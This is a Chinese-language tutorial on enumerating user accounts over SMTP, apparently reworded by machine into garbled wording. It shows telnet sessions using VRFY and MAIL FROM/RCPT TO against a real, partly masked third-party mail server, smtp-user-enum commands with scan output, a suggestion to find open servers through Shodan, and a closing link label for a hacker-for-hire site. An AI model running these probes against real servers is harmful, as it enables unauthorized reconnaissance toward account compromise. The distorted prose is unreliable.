SMTP是安全测验中比较常见的服务类型,其不安全的装备(未禁用某些指令)会导致用户枚举的问题,这主要是经过SMTP指令进行的。本文将介绍SMTP用户枚举原理以及相关东西。
SMTP
SMTP指令
若服务器未禁用某些特别指令,则能够运用这些特别指令枚举用户,主要是MAIL FROM、RCPT TO、ETRN、VRFY指令。
SMTP指令
指令功用
MAIL FROM
指定发件人地址
RCPT TO
指定单个的邮件接收人;可有多个 RCPT TO;常在 MAIL FROM指令之后
VRFY
用于验证指定的用户/邮箱是否存在;因为安全原因,服务器常制止此指令
EXPN
验证给定的邮箱列表是否存在,也常被禁用
SMTP回来码
履行上面的SMTP指令,经过其回来码能够判别用户是否存在。主要是250和550状况。
回来码
意义
250
要求的邮件操作完结
550
要求的邮件操作未完结,邮箱不行用(例如,邮箱未找到,或不行拜访)
(文末附一切回来码)
手动枚举用户名
经过上面的介绍,咱们能够经过Telnet衔接,在未禁用上述SMTP指令的服务器上,运用上述指令手动枚举用户名。经过shodan等能够找到敞开SMTP的服务器。
VRFY指令
$ telnet 202.38.xxx.xxx 25Trying 202.38.xxx.xxx...Connected to 202.38.xxx.xxx.Escape character is '^]'.220 mxt.xxx.xxx.cn ESMTP PostfixVRFY root252 2.0.0 rootVRFY bin252 2.0.0 binVRFY admin550 5.1.1 : Recipient address rejected: User unknown in local recipient table
MAIL FROM+RCPT TO指令
$ telnet 202.38.xxx.xxx 25Trying 202.38.xxx.xxx...Connected to 202.38.xxx.xxx.Escape character is '^]'.220 mxt.xxx.xxx.cn ESMTP PostfixMAIL FROM:root250 2.1.0 OkRCPT TO:root250 2.1.5 OkRCPT TO:bin250 2.1.5 OkRCPT TO:admin550 5.1.1 : Recipient address rejected: User unknown in local recipient table
能够看到两种办法均回来root、bin用户是存在的,admin用户不存在。
smtp-user-enum东西
smtp-user-enum是kali自带的,运用Perl编写的东西,其原理便是经过上述的三种指令枚举用户账户。
参数
Usage: smtp-user-enum.pl [options] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets ) options:-m 最大线程数(默许: 5)-M 运用办法办法 EXPN, VRFY or RCPT (默许: VRFY)-u 指定用户-f 邮箱地址,只能用在 "RCPT TO" mode (默许: user@example.com)-D 运用电子邮件地址添加到用户列表在域 (默许: none)运用邮箱替代用户名,比方:"-D example.com"域来运用替代testA@example.com, testB@example.com-U 经过smtp服务指定文件里的用户名查看-t 指定主机来运转smtp服务器主机服务-T 指定文件来运转smtp服务器主机服务-p
设置TCP端口号 (默许: 25)-d 调试-t 最大回来时刻 (default: 5)-v 版别 -h 协助
文档:http://pentestmonkey.net/tools/user-enumeration/smtp-user-enum。
示例
VRFY办法
$ smtp-user-enum -M VRFY -u root -t 202.38.xxx.xxxStarting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum ) ----------------------------------------------------------| Scan Information | ----------------------------------------------------------Mode ..................... VRFYWorker Processes ......... 5Target count ............. 1Username count ........... 1Target TCP port .......... 25Query timeout ............ 5 secsTarget domain ............ ######## Scan started at Fri Aug 24 09:37:15 2019 #########202.38.xxx.xxx: root exists######## Scan completed at Fri Aug 24 09:37:15 2019 #########1 results.1 queries in 1 seconds (1.0 queries / sec)
RCPT办法
$ smtp-user-enum -M RCPT -u bin -t 202.38.xxx.xxxStarting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum ) ----------------------------------------------------------| Scan Information | ----------------------------------------------------------Mode ..................... RCPTWorker Processes ......... 5Target count ............. 1Username count ........... 1Target TCP port .......... 25Query timeout ............ 5 secsTarget domain ............ ######## Scan started at Fri Aug 24 09:37:44 2019 #########202.38.xxx.xxx: bin exists######## Scan completed at Fri Aug 24 09:37:44 2019 #########1 results.1 queries in 1 seconds (1.0 queries / sec)
EXPN办法(方针服务器禁用了该办法)
$ smtp-user-enum -M EXPN -u bin -t 202.38.xxx.xxxStarting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum ) ----------------------------------------------------------| Scan Information | ----------------------------------------------------------Mode ..................... EXPNWorker Processes ......... 5Target count ............. 1Username count ........... 1Target TCP port .......... 25Query timeout ............ 5 secsTarget domain ............ ######## Scan started at Fri Aug 24 09:37:53 2019 ################# Scan completed at Fri Aug 24 09:37:53 2019 #########0 results.1 queries in 1 seconds (1.0 queries / sec)
[1] [2] [3] 黑客接单网